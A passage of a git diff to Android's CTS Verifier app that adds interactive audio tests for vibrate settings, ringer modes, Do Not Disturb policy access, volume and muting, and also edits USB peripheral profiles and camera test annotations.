+ return;
+ }
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_ONLY_SILENT
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+ if (VIBRATE_SETTING_ONLY_SILENT
+ != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_TYPE_NOTIFICATION
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+ if(VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+ if(VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+ if (VIBRATE_SETTING_ONLY_SILENT
+ != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestVibrateRingerDndOn extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_vibrate_ringer);
+ }
+
+ @Override
+ protected void test() {
+ if (mUseFixedVolume || !mHasVibrator) {
+ status = PASS;
+ return;
+ }
+
+ // VIBRATE_SETTING_ON
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+ if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_OFF
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+ if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_ONLY_SILENT
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+ if (VIBRATE_SETTING_ONLY_SILENT
+ != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestVibrateRinger extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_vibrate_ringer);
+ }
+
+ @Override
+ protected void test() {
+ if (mUseFixedVolume || !mHasVibrator) {
+ status = PASS;
+ return;
+ }
+ // VIBRATE_SETTING_ON
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+ if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_OFF
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+ if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_ONLY_SILENT
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+ if (VIBRATE_SETTING_ONLY_SILENT
+ != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_TYPE_NOTIFICATION
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+ if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+ if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+ if (VIBRATE_SETTING_ONLY_SILENT
+ != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestAccessRingerMode extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_access_ringer_mode);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ status = PASS;
+ return;
+ }
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ if (RINGER_MODE_NORMAL != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+
+ if (mHasVibrator) {
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ }
+ status = PASS;
+ }
+
+ @Override
+ protected void tearDown() {
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ next();
+ }
+ }
+
+ protected class TestAccessRingerModeDndOn extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_access_ringer_mode);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ status = PASS;
+ return;
+ }
+ if (RINGER_MODE_SILENT != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestSetRingerModePolicyAccessDndOn extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_ringer_mode_policy_access);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ status = PASS;
+ return;
+ }
+ // This tests a subset of testSetRingerModePolicyAccess as cts verifier cannot
+ // get policy access on these devices.
+ try {
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ status = FAIL;
+ logFail("Apps without notification policy access cannot change ringer mode");
+ } catch (SecurityException e) {
+ }
+
+ try {
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ status = FAIL;
+ logFail("Apps without notification policy access cannot change ringer mode");
+ } catch (SecurityException e) {
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestSetRingerModePolicyAccess extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_ringer_mode_policy_access);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ status = PASS;
+ return;
+ }
+ // This tests a subset of testSetRingerModePolicyAccess as cts verifier cannot
+ // get policy access on these devices.
+
+ try {
+ mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+ status = FAIL;
+ logFail("Apps without notification policy access cannot change ringer mode");
+ } catch (SecurityException e) {
+ }
+
+ if (mHasVibrator) {
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+
+ try {
+ mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+ status = FAIL;
+ logFail("Apps without notification policy access cannot change ringer mode");
+ } catch (SecurityException e) {
+ }
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestVolumeDndAffectedStream extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_volume_dnd_affected_stream);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests || mHasVibrator) {
+ status = PASS;
+ return;
+ }
+
+ mAudioManager.setStreamVolume(
+ AudioManager.STREAM_SYSTEM, 7, AudioManager.FLAG_ALLOW_RINGER_MODES);
+
+ // 7 to 0, fail.
+ try {
+ mAudioManager.setStreamVolume(
+ AudioManager.STREAM_SYSTEM, 0, AudioManager.FLAG_ALLOW_RINGER_MODES);
+ status = FAIL;
+ logFail("Apps without notification policy access cannot change ringer mode");
+ return;
+ } catch (SecurityException e) {}
+
+ // 7 to 1: success
+ mAudioManager.setStreamVolume(
+ AudioManager.STREAM_SYSTEM, 1, AudioManager.FLAG_ALLOW_RINGER_MODES);
+ if (1 != mAudioManager.getStreamVolume(AudioManager.STREAM_SYSTEM)) {
+ setFailed();
+ return;
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestVolumeDndAffectedStreamDndOn extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_volume_dnd_affected_stream);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests || mHasVibrator) {
+ status = PASS;
+ return;
+ }
+
+ mAudioManager.setStreamVolume(
+ AudioManager.STREAM_SYSTEM, 0, AudioManager.FLAG_ALLOW_RINGER_MODES);
+
+ try {
+ mAudioManager.setStreamVolume(
+ AudioManager.STREAM_SYSTEM, 6, AudioManager.FLAG_ALLOW_RINGER_MODES);
+ status = FAIL;
+ logFail("Apps without notification policy access cannot change ringer mode");
+ return;
+ } catch (SecurityException e) {}
+ status = PASS;
+ }
+ }
+
+ protected class TestVolume extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_volume_dnd_affected_stream);
+ }
+
+ @Override
+ protected void test() {
+ int volume, volumeDelta;
+ int[] streams = {STREAM_MUSIC,
+ AudioManager.STREAM_VOICE_CALL,
+ AudioManager.STREAM_ALARM,
+ AudioManager.STREAM_RING};
+
+ mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+ // adjusting volume is aynchronous, wait before other volume checks
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ mAudioManager.adjustSuggestedStreamVolume(
+ ADJUST_LOWER, USE_DEFAULT_STREAM_TYPE, 0);
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ int maxMusicVolume = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
+
+ for (int stream : streams) {
+ Log.d(TAG, "testing stream: " + stream);
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ int maxVolume = mAudioManager.getStreamMaxVolume(stream);
+ int minVolume = 1; // mAudioManager.getStreamMinVolume(stream); is @hide
+
+ // validate min
+ assertTrue(String.format("minVolume(%d) must be >= 0", minVolume), minVolume >= 0);
+ assertTrue(String.format("minVolume(%d) must be < maxVolume(%d)", minVolume,
+ maxVolume),
+ minVolume < maxVolume);
+
+ mAudioManager.setStreamVolume(stream, 1, 0);
+ if (mUseFixedVolume) {
+ assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+ return;
+ }
+ assertEquals(String.format("stream=%d", stream),
+ 1, mAudioManager.getStreamVolume(stream));
+
+ if (stream == STREAM_MUSIC && mAudioManager.isWiredHeadsetOn()) {
+ // due to new regulations, music sent over a wired headset may be volume limited
+ // until the user explicitly increases the limit, so we can't rely on being able
+ // to set the volume to getStreamMaxVolume(). Instead, determine the current limit
+ // by increasing the volume until it won't go any higher, then use that volume as
+ // the maximum for the purposes of this test
+ int curvol = 0;
+ int prevvol = 0;
+ do {
+ prevvol = curvol;
+ mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+ curvol = mAudioManager.getStreamVolume(stream);
+ } while (curvol != prevvol);
+ maxVolume = maxMusicVolume = curvol;
+ }
+ mAudioManager.setStreamVolume(stream, maxVolume, 0);
+ mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+ assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+
+ volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+ mAudioManager.adjustSuggestedStreamVolume(ADJUST_LOWER, stream, 0);
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ assertEquals(maxVolume - volumeDelta, mAudioManager.getStreamVolume(stream));
+
+ // volume lower
+ mAudioManager.setStreamVolume(stream, maxVolume, 0);
+ volume = mAudioManager.getStreamVolume(stream);
+ while (volume > minVolume) {
+ volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+ mAudioManager.adjustStreamVolume(stream, ADJUST_LOWER, 0);
+ assertEquals(Math.max(0, volume - volumeDelta),
+ mAudioManager.getStreamVolume(stream));
+ volume = mAudioManager.getStreamVolume(stream);
+ }
+
+ mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
+
+ // volume raise
+ mAudioManager.setStreamVolume(stream, 1, 0);
+ volume = mAudioManager.getStreamVolume(stream);
+ while (volume < maxVolume) {
+ volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+ mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+ assertEquals(Math.min(volume + volumeDelta, maxVolume),
+ mAudioManager.getStreamVolume(stream));
+ volume = mAudioManager.getStreamVolume(stream);
+ }
+
+ // volume same
+ mAudioManager.setStreamVolume(stream, maxVolume, 0);
+ for (int k = 0; k < maxVolume; k++) {
+ mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
+ assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+ }
+
+ mAudioManager.setStreamVolume(stream, maxVolume, 0);
+ }
+
+ if (mUseFixedVolume) {
+ return;
+ }
+
+ // adjust volume
+ mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+
+ boolean isMusicPlayingBeforeTest = false;
+ if (mAudioManager.isMusicActive()) {
+ isMusicPlayingBeforeTest = true;
+ }
+
+ MediaPlayer mp = MediaPlayer.create(mContext, MP3_TO_PLAY);
+ assertNotNull(mp);
+ mp.setAudioStreamType(STREAM_MUSIC);
+ mp.setLooping(true);
+ mp.start();
+ try {
+ Thread.sleep(TIME_TO_PLAY);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ assertTrue(mAudioManager.isMusicActive());
+
+ // adjust volume as ADJUST_SAME
+ for (int k = 0; k < maxMusicVolume; k++) {
+ mAudioManager.adjustVolume(ADJUST_SAME, 0);
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ assertEquals(maxMusicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+ }
+
+ // adjust volume as ADJUST_RAISE
+ mAudioManager.setStreamVolume(STREAM_MUSIC, 0, 0);
+ volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+ mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ assertEquals(Math.min(volumeDelta, maxMusicVolume),
+ mAudioManager.getStreamVolume(STREAM_MUSIC));
+
+ // adjust volume as ADJUST_LOWER
+ mAudioManager.setStreamVolume(STREAM_MUSIC, maxMusicVolume, 0);
+ maxMusicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+ volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+ mAudioManager.adjustVolume(ADJUST_LOWER, 0);
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ assertEquals(Math.max(0, maxMusicVolume - volumeDelta),
+ mAudioManager.getStreamVolume(STREAM_MUSIC));
+
+ mp.stop();
+ mp.release();
+ try {
+ Thread.sleep(TIME_TO_PLAY);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ if (!isMusicPlayingBeforeTest) {
+ assertFalse(mAudioManager.isMusicActive());
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestMuteDndAffectedStreamsDndOn extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_mute_dnd_affected_streams);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ return;
+ }
+ int[] streams = { AudioManager.STREAM_RING };
+
+ // Verify streams cannot be unmuted without policy access.
+ for (int stream : streams) {
+ try {
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_UNMUTE, 0);
+ assertEquals("Apps without Notification policy access can't change ringer mode",
+ RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+ } catch (SecurityException e) {
+ }
+
+ try {
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE,
+ 0);
+ assertEquals("Apps without Notification policy access can't change ringer mode",
+ RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+ } catch (SecurityException e) {
+ }
+
+ try {
+ mAudioManager.setStreamMute(stream, false);
+ assertEquals("Apps without Notification policy access can't change ringer mode",
+ RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+ } catch (SecurityException e) {
+ }
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestMuteStreams extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_mute_dnd_affected_streams);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ return;
+ }
+ int[] streams = { AudioManager.STREAM_RING };
+
+ for (int stream : streams) {
+ // ensure each stream is on and turned up.
+ mAudioManager.setStreamVolume(stream, mAudioManager.getStreamMaxVolume(stream),0);
+
+ try {
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+ assertEquals("Apps without Notification policy access can't change ringer mode",
+ RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+ } catch (SecurityException e) {
+ }
+ try {
+ mAudioManager.adjustStreamVolume(
+ stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+ assertEquals("Apps without Notification policy access can't change ringer mode",
+ RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+ } catch (SecurityException e) {
+ }
+
+ try {
+ mAudioManager.setStreamMute(stream, true);
+ assertEquals("Apps without Notification policy access can't change ringer mode",
+ RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+ } catch (SecurityException e) {
+ }
+ testStreamMuting(stream);
+ }
+
+ streams = new int[] {
+ AudioManager.STREAM_VOICE_CALL,
+ AudioManager.STREAM_MUSIC,
+ AudioManager.STREAM_ALARM
+ };
+
+ int muteAffectedStreams = Settings.System.getInt(mContext.getContentResolver(),
+ Settings.System.MUTE_STREAMS_AFFECTED,
+ // Same defaults as in AudioService. Should be kept in
+ // sync.
+ ((1 << AudioManager.STREAM_MUSIC) |
+ (1 << AudioManager.STREAM_RING) |
+ (1 << AudioManager.STREAM_NOTIFICATION) |
+ (1 << AudioManager.STREAM_SYSTEM)));
+ for (int stream : streams) {
+ // ensure each stream is on and turned up.
+ mAudioManager.setStreamVolume(stream,
+ mAudioManager.getStreamMaxVolume(stream),
+ 0);
+ if (((1 << stream) & muteAffectedStreams) == 0) {
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+ assertFalse("Stream " + stream + " should not be affected by mute.",
+ mAudioManager.isStreamMute(stream));
+ mAudioManager.setStreamMute(stream, true);
+ assertFalse("Stream " + stream + " should not be affected by mute.",
+ mAudioManager.isStreamMute(stream));
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE,
+ 0);
+ assertFalse("Stream " + stream + " should not be affected by mute.",
+ mAudioManager.isStreamMute(stream));
+ continue;
+ }
+ testStreamMuting(stream);
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestAdjustVolumeInAlarmsOnlyMode extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_volume_dnd_affected_stream);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ return;
+ }
+ int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+ mAudioManager.adjustStreamVolume(
+ AudioManager.STREAM_MUSIC, AudioManager.ADJUST_RAISE, 0);
+ int volumeDelta =
+ getVolumeDelta(mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+ assertEquals(musicVolume + volumeDelta,
+ mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 3, 0);
+ assertEquals(3, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+
+ status = PASS;
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/PeripheralProfile.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/PeripheralProfile.java
index c608c26..a0cff31 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/PeripheralProfile.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/PeripheralProfile.java
@@ -122,12 +122,7 @@
String[] strings = intList.split(",");
int[] ints = new int[strings.length];
for (int index = 0; index < strings.length; index++) {
- try {
- ints[index] = Integer.parseInt(strings[index]);
- }
- catch (NumberFormatException ex) {
- ints[index] = 0;
- }
+ ints[index] = Integer.parseInt(strings[index]);
}
return ints;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
index c8f7dc4..e7695cb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
@@ -62,19 +62,17 @@
"<PeripheralProfile ProfileName=\"Pixel USB-C Dongle + Wired Analog Headset\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB-C to 3.5mm-Headphone Adapte\">" +
"<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
"<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
- "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" />" +
+ "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" HasBtnD=\"1\" />" +
"</PeripheralProfile>" +
- "<PeripheralProfile ProfileName=\"HTC Dongle\" ProfileDescription=\"Type-C to 3.5mm Headphone\" ProductName=\"USB-Audio - HTC Type-C to 3.5mm Headphone J\">" +
- "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
- "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\"/>" +
- "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" />" +
- "</PeripheralProfile>" +
- "<PeripheralProfile ProfileName=\"JBL Reflect Aware\" ProfileDescription=\"JBL Reflect Aware\" ProductName=\"USB-Audio - JBL Reflect Aware\">" +
- "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"2\" SampleRates=\"44100,48000\" />" +
- "<InputDevInfo ChanCounts=\"1\" ChanPosMasks=\"16\" ChanIndexMasks=\"1\" Encodings=\"2\" SampleRates=\"44100,48000\" />" +
- "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" />" +
- "</PeripheralProfile>" +
- "</ProfileList>";
+ "<PeripheralProfile ProfileName=\"gen1-headset\" ProfileDescription=\"Reference USB Headset\" ProductName=\"USB-Audio - Skylab\">" +
+ "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"2,4\" SampleRates=\"8000,16000,32000,44100,48000\" />" +
+ "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1\" Encodings=\"2\" SampleRates=\"8000,16000,32000,44100,48000\" />" +
+ "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" HasBtnD=\"1\" />" +
+ "</PeripheralProfile>" +
+ "<PeripheralProfile ProfileName=\"mir\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB Audio\">" +
+ "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
+ "</PeripheralProfile>" +
+ "</ProfileList>";
// XML Tags and Attributes
private final static String kTag_ProfileList = "ProfileList";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
index 8e3089d..161cceb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
@@ -40,8 +40,6 @@
import com.android.cts.verifier.R;
import com.android.cts.verifier.TestResult;
-import com.android.compatibility.common.util.CddTest;
-
import java.util.TreeSet;
/**
@@ -63,7 +61,6 @@
* (e.g. social network apps that upload a photo after you take a picture)
* rely on this functionality present and correctly working.
*/
-@CddTest(requirement="7.5.4/C-0-9,C-0-10")
public class CameraIntentsActivity extends PassFailButtons.Activity
implements OnClickListener, SurfaceHolder.Callback {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
index 4714ad8..49b34fd 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
@@ -36,8 +36,6 @@
import com.android.cts.verifier.R;
import com.android.cts.verifier.TestResult;
-import com.android.compatibility.common.util.CddTest;
-
import java.io.IOException;
import java.util.ArrayList;
import java.util.Comparator;
@@ -48,7 +46,6 @@
* Tests for manual verification of the CDD-required camera output formats
* for preview callbacks
*/
-@CddTest(requirement="7.5.2/C-1-5,C-1-6,C-1-7,C-2-1")
public class CameraOrientationActivity extends PassFailButtons.Activity
implements OnClickListener, SurfaceHolder.Callback {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssPseudorangeVerificationTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssPseudorangeVerificationTestsActivity.java
new file mode 100644
index 0000000..e17b67a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssPseudorangeVerificationTestsActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
